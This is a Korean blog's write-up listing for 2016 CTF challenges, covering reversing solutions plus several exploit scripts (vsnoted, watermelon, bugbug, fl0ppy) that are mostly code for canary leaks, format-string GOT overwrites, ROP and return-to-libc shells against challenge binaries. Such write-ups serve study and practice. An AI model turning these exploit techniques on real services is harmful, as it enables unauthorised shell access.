BLOG main image
분류 전체보기 (224)
Reversing (13)
Pwnable (4)
Linux Kernel (3)
Crypto (2)
Wargames (68)
Programming (18)
Write Up (32)
Project (22)
Web (2)
My Life (52)
Memo (3)
etc (2)
발표자료 (1)
42,655 Visitors up to today!
Today 3 hit, Yesterday 27 hit
daisy rss
tistory 티스토리 가입하기!
'Write Up'에 해당되는 글 32건
2016.05.04 18:42



6명 푼 미스크 문제입니다.

이렇게 생긴 파일 하나 달랑 줍니다. 여기서 맨 앞에 있는 0x78 0x9c는 zlib이라는 압축 알고리즘의 시그니쳐 입니다. 내부에 시그니쳐가 많이 보이는 것으로 보아 여러개가 모여 있는 것 같습니다. 파이썬 소스를 짜서 몽땅 압축을 풀어 줍니다.

1
2
3
4
5
6
file = open('GMPQZ''rb').read().split('\x78\x9c')
 
data = ''
for i in range(1len(file)):
    data += ('\x78\x9c' + file[i]).decode('zlib')
open('decypted''wb').write(data)
cs

처음에는 압축이 풀린 것을 하나하나 다른 파일에 저장했는데 열어서 확인해 보니 중간 중간 0x55 0xaa로 끝나는 파일들이 있어서 MBR을 분할 압축한 것이라 생각하고 파일 내용을 모두 모아서 한 파일로 만들었습니다. 0x55 0xaa는 부트코드가 담겨있는 MBR의 맨 끝에 있는 푸터입니다. 

0x55 0xaa로 끝나는 것을 볼 수 있습니다. 이러한 MBR이 총 다섯 개가 모여 있으며 이를 나눠서 qemu나 VM Ware로 부팅시켜보면 

이런 식으로 띄어쓰기가 없는 파이썬 코드가 한 줄씩 들어있어 총 5줄의 파이썬 코드가 나옵니다. 띄어쓰기를 적절히 넣어서 보면 

1
2
3
4
5
= 0
for i in range(07777777 + 1): x = x + 2 ** i
key=0
for i in range(len(str(x))): key += int(x[i])
print "flag{" + key + "}"
cs

이런 소스가 나옵니다. 분석을 하면

2 ** 0 + 2 ** 1 + 2 ** 2 + 2 ** 3 + ... + 2 ** 7777777 을 구합니다. 이 값을 모두 x에 담고 이를 str형으로 변환하여 각 글자를 int형으로 변환한 값이 플래그입니다. 

우선 첫 번째 작업부터 시간이 엄청 걸릴 뿐만 아니라 값이 오버플로우 납니다. 따라서 이 부분을 살짝 변형해야 합니다. 먼저 2 ** 0 + 2 ** 1 + 2 **2 + ... 2 ** n은
(2 ** (n + 1)) - 1과 같은 값을 가집니다. 따라서 위의 반복문은 x = 2 ** 7777778 - 1이라는 코드로 바꿀 수 있습니다.

하지만 이 마저도 문제가 됩니다. 2 ** 77777778은 매우매우 큰 값으로써 파이썬에서 역시 오버플로우가 나는데 여기서 필요한 것이 gmpy모듈입니다. 문제 이름이 GMPQZ인 것으로 보아 gmpy모듈 사용을 의도한 것 같습니다. 따라서 위 연산을 gmpy모듈로 연산을 하면 약 1초만에 플래그를 구할 수 있습니다. 

1
2
3
4
5
6
import gmpy2
 
= gmpy2.mpz(2** gmpy2.mpz(7777778- 1
key = 0
for i in range(len(str(x))): key += int(x[i])
print key
cs

이 코드를 실행하면 플래그가 나옵니다.

key : 2341345

'Write Up' 카테고리의 다른 글

2016 ASIS CTF Quals - Catch Me!  (0) 2016.05.09
2016 CodeGate Final rev  (1) 2016.05.06
2016 CodeGate Final GMPQZ  (0) 2016.05.04
2016 CodeGate Final BMP  (0) 2016.05.04
2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
Name
Password
Homepage
Secret
2016.05.04 18:07



27명 푼 미스크 문제입니다.

웹사이트와 소스가 주어지는데 웹 사이트를 들어가 보면 

이렇게 생겼습니다. 

글자를 치면 이렇게 bmp파일이 점점 생겨나면서 올라옵니다. 옆에 flag.bmp가 만들어 지는 값을 찾으면 됩니다. 처음에는 편법으로 0~9, A~Z, a~z까지 싹다 어떤 형태의 그림이 만들어지는지 찾은 후에 테이블로 만들어서 비교하려고 했으나 이전 값이 현재의 bmp에 영향을 준다는 것을 깨닫고 포기했습니다. 결국 주어진 js파일을 분석해서 브루트포싱을 하는 파이썬 소스를 짜서 풀었습니다.

처음에는 소스가 한줄로 나열되고 난독화가 약간 되어 있어서 보기 편하게 만들어 준 후에 분석했습니다. 

1
2
3
4
5
/**
IE, Safari Not good.
Chrome good Work.
**/
function create_bmp(){var _0xb2ab=["","\x76\x61\x6C\x75\x65","\x6B\x65\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x65\x6E\x67\x74\x68","\x42\x4D\xDE\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x00\x00\x28\x00\x00\x00\x0D\x00\x00\x00\x28\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x70\x6F\x77","\x61\x62\x73","\x73\x75\x62\x73\x74\x72","\x5C\x78","\x00\x00","\x22","\x69\x6D\x67","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x62\x6D\x70\x5F\x69\x6E\x5F\x69\x6E\x70\x75\x74","\x64\x61\x74\x61\x3A\x69\x6D\x61\x67\x65\x2F\x62\x6D\x70\x3B\x62\x61\x73\x65\x36\x34\x2C"];var header,data,image,maps=_0xb2ab[0],key=_0xb2ab[0];key=document[_0xb2ab[3]](_0xb2ab[2])[_0xb2ab[1]];if(key===null||key[_0xb2ab[4]]==0){return};header=_0xb2ab[5];for(var i=0;i<key[_0xb2ab[4]];++i){var index_key=_0xb2ab[0],v1=0,v2=0,v3=0,data;index_key=key[i];v1=(Math[_0xb2ab[7]](index_key[_0xb2ab[6]](),2)*3)+31337*(i%2?i+1:i+1*2);if(i!==0){v2=~Math[_0xb2ab[7]](key[i-1][_0xb2ab[6]](),2);for(var j=i%2;j<i;j+=2){if(i%2){v3+=key[j][_0xb2ab[6]]()}else {v3-=key[j][_0xb2ab[6]]()}}};data=Math[_0xb2ab[8]]((v1+v2+v3)/3);data=data.toString(16)[_0xb2ab[9]](0,4);data=_0xb2ab[10]+data[_0xb2ab[9]](0,2)+_0xb2ab[10]+data[_0xb2ab[9]](2);maps+=data+_0xb2ab[11]};bmp_data=header+eval(_0xb2ab[12]+maps+_0xb2ab[12]);image=document[_0xb2ab[14]](_0xb2ab[13]);document[_0xb2ab[3]](_0xb2ab[16])[_0xb2ab[15]]=_0xb2ab[17]+btoa(bmp_data)}
cs

난독화된 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
IE, Safari Not good.
Chrome good Work.
**/
function create_bmp() {
    var header, data, image, maps = "", key = "";
    key = document["getElementById"]("key")["value"];
    if(key === null||key["length"== 0) {
        return
    };
    header="BM\xde\x00\x00\x00\x00\x00\x00\x00>\x00\x00\x00(\x00\x00\x00\r\x00\x00\x00(\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00" + 
           "\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00";
    for(var i = 0; i < key["length"]; ++i) {
        var index_key = "", v1 = 0, v2 = 0, v3 = 0, data;
        index_key = key[i];
        v1 = (Math["pow"](index_key["charCodeAt"](), 2* 3+ 31337 * (i % 2 ? i + 1 : i + 1 * 2);
        if(i !== 0) {
            v2 = ~Math["pow"](key[i-1]["charCodeAt"](), 2);
            for(var j = i % 2; j < i; j += 2) {
                if(i % 2) {
                    v3 += key[j]["charCodeAt"]()
                }
                else {
                    v3 -= key[j]["charCodeAt"]()
                }
            }
        };
        data = Math["abs"]((v1 + v2 + v3) / 3);
        data = data.toString(16)["substr"](04);
        data = "\\x" + data["substr"](02+ "\\x" + data["substr"](2);
        maps += data + "\x00\x00"
    };
    bmp_data = header + eval("\"" + maps + "\"");
    image = document["createElement"]("img");
    document["getElementById"]("bmp_in_input")["src"="data:image/bmp;base64,"+btoa(bmp_data)
}
cs

보기 쉽게 한 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
flag = '\x77\x1F\x00\x00\x6A\x9D\x00\x00\xA0\x58\x00\x00\xC8\xB9\x00\x00\xF3\xC5\x00\x00\xFC\x3D\x00\x00\
\x16\x8A\x00\x00\x16\x04\x00\x00\x19\x57\x00\x00\x1B\x9B\x00\x00\x20\x3F\x00\x00\x20\x2B\x00\x00\x23\xA6\
\x00\x00\x24\x42\x00\x00\x29\x11\x00\x00\x2B\x34\x00\x00\x2F\x80\x00\x00\x2D\xD1\x00\x00\x33\x48\x00\x00\
\x33\x83\x00\x00\x38\x92\x00\x00\x3A\x51\x00\x00\x3D\x0E\x00\x00\x3D\x9A\x00\x00\x44\x65\x00\x00\x42\x36\
\x00\x00\x47\xDD\x00\x00\x49\x96\x00\x00\x4D\xFD\x00\x00\x4E\x28\x00\x00\x51\x88\x00\x00\x52\x20\x00\x00\
\x57\x0C\x00\x00\x59\x07\x00\x00\x5B\x9C\x00\x00\x5E\x06\x00\x00\x60\xBC\x00\x00\x61\x87\x00\x00\x68\x19\
\x00\x00\x67\xB5\x00\x00'
Table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_'
real = ''
 
def abs(a):
    if a > 0:
        return a
    else:
        return ~a
 
def encode(input):
        maps = ''
        for i in range(len(input)):
            v1 = 0
            v2 = 0
            v3 = 0
            data = ''
 
            carry = i % 2
            if carry: carry = i + 1
            else: carry = i + 2
            v1 = ((ord(input[i]) ** 2* 3+ 31337 * carry
 
            if (i != 0):
                v2 = ~(ord(input[i - 1]) ** 2)
                for j in range(i % 2, i, 2):
                    if i % 2: v3 += ord(input[j])
                    else: v3 -= ord(input[j])
            data = abs(v1 + v2 + v3) / 3
            data = str(hex(data))[2:6]
            data = chr(int(data[0:2], 16)) + chr(int(data[2:], 16))
            maps += data + '\x00\x00'
        return maps
 
for i in range(0len(flag), 4):
    for j in Table:
        if flag[0:i + 4== encode(real + j):
            real += j
            break
 
print real
cs

파이썬 브루트포싱 소스

돌리면 키가 나옵니다.


key : bb2f96cc4adb880fe5037c60b27bbb954d6b67dc

'Write Up' 카테고리의 다른 글

2016 CodeGate Final rev  (1) 2016.05.06
2016 CodeGate Final GMPQZ  (0) 2016.05.04
2016 CodeGate Final BMP  (0) 2016.05.04
2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
Name
Password
Homepage
Secret
2016.04.30 00:26


작년 크리스마스 때 열렸던 크리스마스 CTF vsnoted를 풀어보았다. 그 때 당시에는 풀어볼 엄두도 못냈었는데 이제는 조금 해 볼만 했다. 그리고 포맷스트링은 진짜 할 때 마다 너무 헷갈리는 것 같다. 풀 때는 내 환경의 스택 상황에 맞춰서 익스플로잇을 했는데 과연 이게 실제 대회 때에도 내 환경의 스택과 똑같이 같은 값이 들어있을 지가 의문이다. fsb문제가 나왔을 때 스택을 덤프해 주는 모듈 같은거를 하나 만들어 두어야 할 것 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from SunKn0wn import *
 
= remote('5unKn0wn.iptime.org'8282)
 
system_plt = 0x08048910
############ Get heap addr ############
r.recvsend('2')    # login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('1')    # new note
r.recvsendline('8')
r.recvsendline(str(len(binsh_sock)))
r.recvsend('%282$08x')
r.recvsend(binsh_sock)
 
r.recvsend('4')    # logout(fsb)
 
r.recvsend('2')    # (re)login
r.recvsendline('5unKn0wn')
r.recvsendline('superhacker')
 
r.recvsend('2')    # view note
heap_addr = int(r.recvall()[44:52], 16- 0x30    # leak head addr
ret_addr = heap_addr + 0x40
binsh_addr = heap_addr + 0x80
 
print "[!]heap addr : " + str(hex(heap_addr))
print "[!]binsh addr : " + str(hex(binsh_addr))
print "[!]ret-2nd addr : " + str(hex(ret_addr))
############ Exploit ############
r.recvsend('1')    # new note
r.recvsendline('120')
r.recvsendline('25')
r.recvsend('A' * 0x6c + p32(system_plt) + 'AAAA' + p32(binsh_addr))    # bof
r.recvsend('AAAA' + p32(ret_addr) + '%' + str(system_plt - 8+ 'c' + '%293$n')    # fsb(heap)
 
r.recvsend('4')    # logout(fsb)
 
sleep(1)
 
r.interactive()
cs


'Write Up' 카테고리의 다른 글

2016 CodeGate Final GMPQZ  (0) 2016.05.04
2016 CodeGate Final BMP  (0) 2016.05.04
2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
Name
Password
Homepage
Secret
2016.04.18 20:50


아이디어가 굉장히 참신해서 재밌던 문제였다. curl 라이브러리를 바탕으로 그대로 가져와서 중간에 --pctfkey 인자를 추가해서 키를 입력할 수 있게 하였다. 

실제 curl 라이브러리에는 저런 인자가 없다. IDA로 열어서 저 인자로 주었을 때의 동작을 봤더니 

스택 자체를 아예 바꿔버리고 리턴을 해버린다. 즉, 연산 루틴 과정을 코드가 아니라 ROP처럼 리턴으로 이루어진 연산을 하게 된다. 여기서부터 이 문제는 아이디어가 되게 좋다고 생각했다. 진행을 해 보면 리턴을 하다가 


strlen함수로 가서 입력한 키 값의 글자를 구한다. 그리고 몇 번의 리턴 후에 pop edx 명령어를 수행한다. 

위 레지스터에서 ebx가 strlen으로 구한 값이고, edx가 스택에서 pop 한 값이다. 

그리고 sub 연산을 한 후에 

그 후에 cmovnz 명령어로 ZF가 세팅되어 있지 않다면 eax에 ebx를 넣는다. sub 명령어는 ZF를 건드리고 그 이후로 건들지 않으므로 이 명령어들이 하나의 비교를 하는 행위인 것이다. 

그리고 eax의 값을 edi로 옮긴 후에 esp에 더한다. 만약 글자 수가 0x35글자가 아니라면 스택에 아무 값도 더해지지 않고, 0x35글자 였다면 

edi에 0x94가 들어가 있다. 만약 스택에 0x94가 더해지지 않는다면 

wrong이라는 문자열을 write하고, exit한다. 즉, 이것으로 문자열의 길이가 0x35글자가 아니라면 종료됨을 알 수 있다. 종료되지 않았다면 다음으로 넘어간다.

그 후에는 역시 조금 더 리턴을 몇 번 하다가 다시 

add [edx], ecx 명령어로 입력한 값의 각 글자를 맨 첫 번째 글자만 빼고 모두 더한다. 플래그 형식이 PCTF{}이므로 맨 앞의 P만 빼고 더한 값을 구한다. 

그리고 하위 1바이트만 ror 0x5f를 한후에 

다시 전체 값을 rol 1한다. 

그 후 xor을 몇 번 한다.

sum ^ 0x01F9933D ^ 0xC7FFFFFA을 한다. 그리고 나서 

md5 해시를 구한다.  그리고 구한 값의 앞 4바이트를 dword형으로 가져와서 다시 0x86F4FA3F와 xor 하고 난 후에 

0x5BFFFFFF와 비교한다. 즉, 플래그의 총 길이를 구해야 함을 알 수 있다. md5는 간단한 파이썬 브루트 포싱으로 구했다.

1
2
3
4
5
6
7
8
9
10
11
from SunKn0wn import *
 
for i in range(100000):
    sum = i
    sum = sum ^ 0x01F9933D ^ 0xC7FFFFFA
    sum = md5(p32(sum))[:8]
    if sum == "c0050bdd":    # little endian(0x5BFFFFFF ^ 0x86F4FA3F)
        i = ROR(i, 1)
        i = i - (i & 0xff+ (ROL(i & 0xff0x5f) & 0xff)
        print "[*]Flag num is " + str(i)
        break
cs

이렇게 넣고 돌려주면 나온다. 이제 나온 값에 맞게 다시 글자 합을 맞게 임시적으로 PCTF{NBCDEFGHIjKLmnopqrstuvwxyzabcdefghijklmnopqrstl} 이렇게 넣고 디버깅 해봤다. 몇 번 리턴을 하다가 

이렇게 0x10크기 만큼의 바이트의 테이블에서 한 바이트를 가져온다.

그리고 edx안의 값과 xor 한다. 그렇게 쭉쭉 연산하고 

dword형으로 eax로 가져온다. 그리고 다시 

스택에 있는 테이블 값을 pop ecx를 통해 ecx로 가져온 뒤에 

빼서 cmovnz로 또 비교한다. 이제 xor테이블을 알고 있으므로 역연산을 할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
 
int main(void) {
    char table[] = { 0xc00x050x0b0xdd0x740x770x21,
        0x640x6f0x140xff0x00,0x8C0x690x780xB9 };
    unsigned char flag[] = { 0x900x460x5f0x9b0x0f0x1d0x54,
        0x170x1b0x4b0x9e0x5f0xe00x580x0c0xcd0xac,
        0x600x540xa90x1c0x1e0x4f0x030x300x250xa0
        0x6c0xbd0x020x1d0xe60xb40x350x540xbe0x15
        0x1b0x4d0x3b0x1d0x7b0x8f0x660xf90x1a0x1b
        0xd80xb40x6c0x640xb30x09 };
    for (int i = 0; i < sizeof(flag); i++) {
        printf("%c", flag[i] ^ table[i % 0x10]);
    }
}
cs

 짠 역연산 소스!

짠 플래그!

짠 브렉쓰루 3등!


flag : PCTF{just_a_l1ttle_thing_1_l1ke_t0_call_ropfuscation}

'Write Up' 카테고리의 다른 글

2016 CodeGate Final BMP  (0) 2016.05.04
2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
2016 CodeGate bugbug exploit  (1) 2016.04.01
Name
Password
Homepage
Secret
2016.04.18 08:08


일어나서 첫 번째로 푼 문제이다. IDA로 까 보면 

스위프트로 짜여 있어서 좀 더럽다. 그래도 몇 번 보다 보니까 익숙해져서 풀 수 있었다. 디버깅 하면서 보니까 먼저 값을 입력받고, sub_403660함수에서 연산을 한다. 

이렇게 테이블이 있고, 연산을 해서 저 테이블이랑 비교를 하는 부분이 두 군데가 있다. 그런데 첫 번째 부분은 입력값이 쓰이지 않는 연산이라서 그냥 패치를 해서 넘겼고, 두 번째 연산에서 입력값이 쓰여서 이 부분만 분석했다. 

먼저 연산은 sub_403510 이 함수에 있는 것이 전부라고 해도 과언이 아니었다. 

보기가 좀 거슬리기 때문에 중요 부분만 뽑아서 다시 짜봤다. 

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
 
int main(void) {
    unsigned char table[34], prev_char = 0;
    char input[] = "PCTF{abcdefghijklmnopqrstuvwxyz0}";
    for (int i = 0; i < sizeof(input); i++) {
        table[i] = ((input[i] << (8 - (prev_char & 7))) | (input[i] >> (prev_char & 7))) & 0xff;
        prev_char = table[i];
        printf("0x%x, ", table[i]);
    }
}
cs

그리고 주어진 테이블을 이용해서 브루트포싱 소스를 짰다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
 
int main(void) {
    unsigned char table[] = { 0x500x430x8A0x640xED0xA60xAB0x930xCC
        0xEB0xC20x9A0xFA0x6A0xAB0x930xCC0xEB0x6A0xBB0x62,
        0x330xD10xF50xC20x9A0xFA0x6A0xBB0x620x330xD10xD7 };
    int prev_char = 0, cha = 0;
    for (int i = 0; i < 33; i++) {
        for (int j = 0; j < 0x100; j++) {
            cha = ((j << (8 - (prev_char & 7))) | (j >> (prev_char & 7))) & 0xff;
            if (cha == table[i]) {
                printf("%c", j);
                prev_char = j;
                break;
            }
        }
    }
}
cs

실행하면 플래그가 나온다.


flag : PCTF{5ur3_a5_5ur3_5w1ft_a5_5w1ft}

'Write Up' 카테고리의 다른 글

2015 Christmas CTF vsnoted  (0) 2016.04.30
PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
2016 CodeGate bugbug exploit  (1) 2016.04.01
2016 CodeGate fl0ppy exploit  (1) 2016.04.01
Name
Password
Homepage
Secret
2016.04.01 08:08
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from SunKn0wn import *
 
= remote('192.168.179.135'1111)
 
def add(music, artist):
    r.recvuntil('select\t|\t\n')
    r.sendline('1')
    r.recvuntil('music\t|\t')
    r.sendline(music)
    r.recvuntil('artist\t|\t')
    r.sendline(artist)
 
def view():
    r.recvuntil('select\t|\t\n')
    r.sendline('2')
 
def modify(number, music, artist):
    r.recvuntil('select\t|\t\n')
    r.sendline('3')
    r.recvuntil('number\t|\t\n')
    r.sendline(str(number))
    r.recvuntil('music\t|\t')
    r.sendline(music)
    r.recvuntil('artist\t|\t')
    r.sendline(artist)
 
def exit():
    r.recvuntil('select\t|\t\n')
    r.sendline('4')
    r.recvuntil('BYE\n\n')
 
def attack():
    fgets_plt = 0x08048520
    write_plt = 0x08048590
    read_plt = 0x080484F0
    fgets_got = 0x0804C018
    write_got = 0x804C034
    pppr = 0x08049ACD
    bss = 0x0804D7A0
 
    r.recvuntil('name : ')
    r.sendline('/bin/sh')
 
    ########## Canary Leak ##########
    print "*** Stage1 ***"
    for i in range(100): add('5unKn0wn''pwned')
    modify(100'SuperHacker''A' * 0x14)
    view()
    r.recvuntil('A' * 0x14)
    canary = (up32(r.recv(4)) >> 8<< 8
    print "\n[*] canary : " + hex(canary)
 
    ########## ROP ##########
    print "\n*** Stage2 ***"
    payload = p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)                # write(1, write_got, 4);
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(fgets_got)
    payload += p32(4)                # read(0, fgets_got, 4);
    payload += p32(fgets_plt)
    payload += 'AAAA'
    payload += p32(bss)                # fgets(bss); -> system("/bin/sh");
 
    modify(100'SuperHacker''A' * 0x14 + p32(canary) + 'A' * 0xc + payload)
    exit()
    write_lib = up32(r.recv(4))
    lib_base = write_lib - 0xDAC50    # write_lib offset
    system_lib = lib_base + 0x40190    # system_lib offset
    print "[*] write_lib : " + hex(write_lib)
    print "[*] lib_base : " + hex(lib_base)
    print "[*] system_lib : " + hex(system_lib)
    sleep(0.2)
    r.sendline(p32(system_lib))
    print "\n*** Get Shell ***"
    r.interactive()
 
attack()
cs


'Write Up' 카테고리의 다른 글

PlaidCTF 2016 quite quixotic quest - 300pt  (0) 2016.04.18
PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
2016 CodeGate bugbug exploit  (1) 2016.04.01
2016 CodeGate fl0ppy exploit  (1) 2016.04.01
2016 Sharif CTF Write-Ups  (0) 2016.02.07
mashirogod | 2016.04.02 23:13 신고 | PERMALINK | EDIT/DEL | REPLY
멋저용3
Name
Password
Homepage
Secret
2016.04.01 08:05
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from SunKn0wn import *
 
def attack():
    r = remote('192.168.179.135'2222)
    ########## Variables ##########
    printf_got = 0x0804A010
    read_got = 0x0804A00C
    exit_got = 0x0804A024
    system_lib = 0
    rand_seed = 0
    rand_str = ''
    lib_base = 0
    printlen = 0
    printsum = 0
    shell = 0x08048966    # printf(buf);
 
    ########## Memory Leak ##########
    print "*** Stage1 ***"
    payload = p32(read_got) + '%17$s' + 'AAA' + p32(exit_got) + p32(exit_got + 2)
    payload += '%34809c%20$n%32708c%21$n'
    payload += 'A' * 56
    r.recvsendline(payload)
    r.recvuntil('A' * 56)
    rand_seed = up32(r.recv(4))
    print "[*]rand_seed : " + hex(rand_seed)
    # lib_base = up32(r.recv(8)[-4:]) - 0x1AA3C4    // it only applies in my system
    # print "[*]lib_base : " + hex(lib_base)
    lib = LoadLibrary('libc-2.19.so')
    lib.srand(rand_seed)
    for i in range(6): rand_str += str(lib.rand() % 45 + 1+ ' '
    print "[*]rand_value : " + rand_str
    r.recvsend(rand_str)
    try:
        r.recvuntil('Congratulation, ')
        lib_base = up32(r.recv(8)[4:]) - 0xDABD0        # read_lib_off
        print "[*]lib_base : " + hex(lib_base)
    except:
        print "random value error"
        attack()
    system_lib = lib_base + 0x40190                    # system_lib_off
    print "[*]system_lib : " + hex(system_lib)
    
    ########## GOT Overwrite ##########
    print "\n*** Stage2 ***"
    payload = '/bin/sh;' + p32(printf_got) + p32(printf_got + 2)
    payload += p32(exit_got) + p32(exit_got + 2)
    printlen = (system_lib & 0xffff- 24
    printsum += printlen + 24
    payload += '%' + str(printlen) + 'c' + '%24$hn'    # overwrite printf_low
    printlen = (system_lib >> 16- printsum
    if printlen < 0: printlen += 0x10000
    printsum += printlen
    payload += '%' + str(printlen) + 'c' + '%25$hn'    # overwrite printf_high
    printlen = (shell & 0xffff- printsum
    while (printlen < 0): printlen += 0x10000
    printsum += printlen
    payload += '%' + str(printlen) + 'c' + '%26$n'    # overwrite exit_low
    printlen = (shell >> 16- printsum
    while (printlen < 0): printlen += 0x10000
    payload += '%' + str(printlen) + 'c' + '%27$n'    # overwrite exit_high
    r.recvsendline(payload)
    rand_str = ''
    for i in range(6): rand_str += str(lib.rand() % 45 + 1+ ' '
    print "[*]rand_value : " + rand_str
    r.recvsend(rand_str)
    if not "Congratulation" in r.recvall(): 
        print "fail"
        attack()
    print "\n*** Get Shell ***"
    r.interactive()
 
attack()
cs


'Write Up' 카테고리의 다른 글

PlaidCTF 2016 quick - 175pt  (0) 2016.04.18
2016 CodeGate watermelon exploit  (1) 2016.04.01
2016 CodeGate bugbug exploit  (1) 2016.04.01
2016 CodeGate fl0ppy exploit  (1) 2016.04.01
2016 Sharif CTF Write-Ups  (0) 2016.02.07
HackIM 2016 Reversing - PrisonBreak  (1) 2016.02.01
mashirogod | 2016.04.02 23:13 신고 | PERMALINK | EDIT/DEL | REPLY
멋저용2
Name
Password
Homepage
Secret
2016.04.01 08:02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from SunKn0wn import *
 
= remote('192.168.179.135'9999)
 
def choose(floppy_num):
    r.recvuntil('>\n')
    r.sendline('1')
    r.recvuntil('1 or 2?\n')
    r.sendline(str(floppy_num))
 
def write(data, description):
    r.recvuntil('>\n')
    r.sendline('2')
    r.recvuntil('data: \n')
    r.sendline(data)
    r.recvuntil('Description: \n')
    r.sendline(description)
 
def read():
    r.recvuntil('>\n')
    r.sendline('3')
 
def modify(modify_num, data = '', description = ''):
    r.recvuntil('>\n')
    r.sendline('4')
    r.recvuntil('1 Description | 2 Data\n')
    r.sendline(str(modify_num))
    if (modify_num == 1):
        r.recvuntil('Description: \n')
        r.sendline(description)
    else:
        r.recvuntil('Data: ')
        r.sendline(data)
 
def exit():
    r.recvuntil('>\n')
    r.sendline('5')
    r.recvuntil('=\n')
 
def attack():
    ##################### Variables #####################
    libc_start_got = 0x2730
    libc_start_lib = 0x19990
    system_lib = 0x40190
    floppy1 = 0
    init = 0x1160
    PIE_base = 0
    lib_base = 0
    binsh = 0x160A24
 
    ##################### Memory Leak #####################
    print "*** Stage1 ***"
    choose(1)
    write('5unKn0wn''pwned')
    modify(1, description = 'A' * 16)
    read()
    r.recvuntil('DESCRIPTION: ' + 'A' * 16)
    floppy1 = up32(r.recv(4))
    print "[*]floppy1 : " + hex(floppy1)
    modify(1, description = ('A' * 16 + p32(floppy1) + 'A' * 16))
    read()
    r.recvuntil('DESCRIPTION: ' + 'A' * 16 + p32(floppy1) + 'A' * 16)
    PIE_base = up32(r.recv(4)) - init
    print "[*]PIE_base : " + hex(PIE_base)
    choose(2)
    write('5unKn0wn''pwned')
    libc_start_got += PIE_base
    modify(1, description = 'A' * 20 + p32(libc_start_got))
    choose(1)
    read()
    r.recvuntil('DATA: ')
    lib_base = up32(r.recv(4)) - libc_start_lib
    system_lib += lib_base
    binsh += lib_base
    print "[*]lib_base : " + hex(lib_base)
    print "[*]system_lib : " + hex(system_lib)
    print "[*]/bin/sh : " + hex(binsh)
 
    ##################### RTL #####################
    print "\n*** Stage2 ***"
    choose(2)
    payload = p32(system_lib)
    payload += 'AAAA'
    payload += p32(binsh)    # /bin/sh
    modify(1, description = payload)
    choose(1)
    modify(1, description = p32(floppy1 - 0xc* 9)
    exit()
    sleep(0.2)
    r.recv(1024)
    print "\n*** Get Shell ***"
    r.interactive()
    
attack()
cs


'Write Up' 카테고리의 다른 글

2016 CodeGate watermelon exploit  (1) 2016.04.01
2016 CodeGate bugbug exploit  (1) 2016.04.01
2016 CodeGate fl0ppy exploit  (1) 2016.04.01
2016 Sharif CTF Write-Ups  (0) 2016.02.07
HackIM 2016 Reversing - PrisonBreak  (1) 2016.02.01
HackIM 2016 Reversing - donfos  (0) 2016.02.01
mashirogod | 2016.04.02 23:13 신고 | PERMALINK | EDIT/DEL | REPLY
멋저용
Name
Password
Homepage
Secret
2016.02.07 19:47


Crypto - Rail Fence Chiper

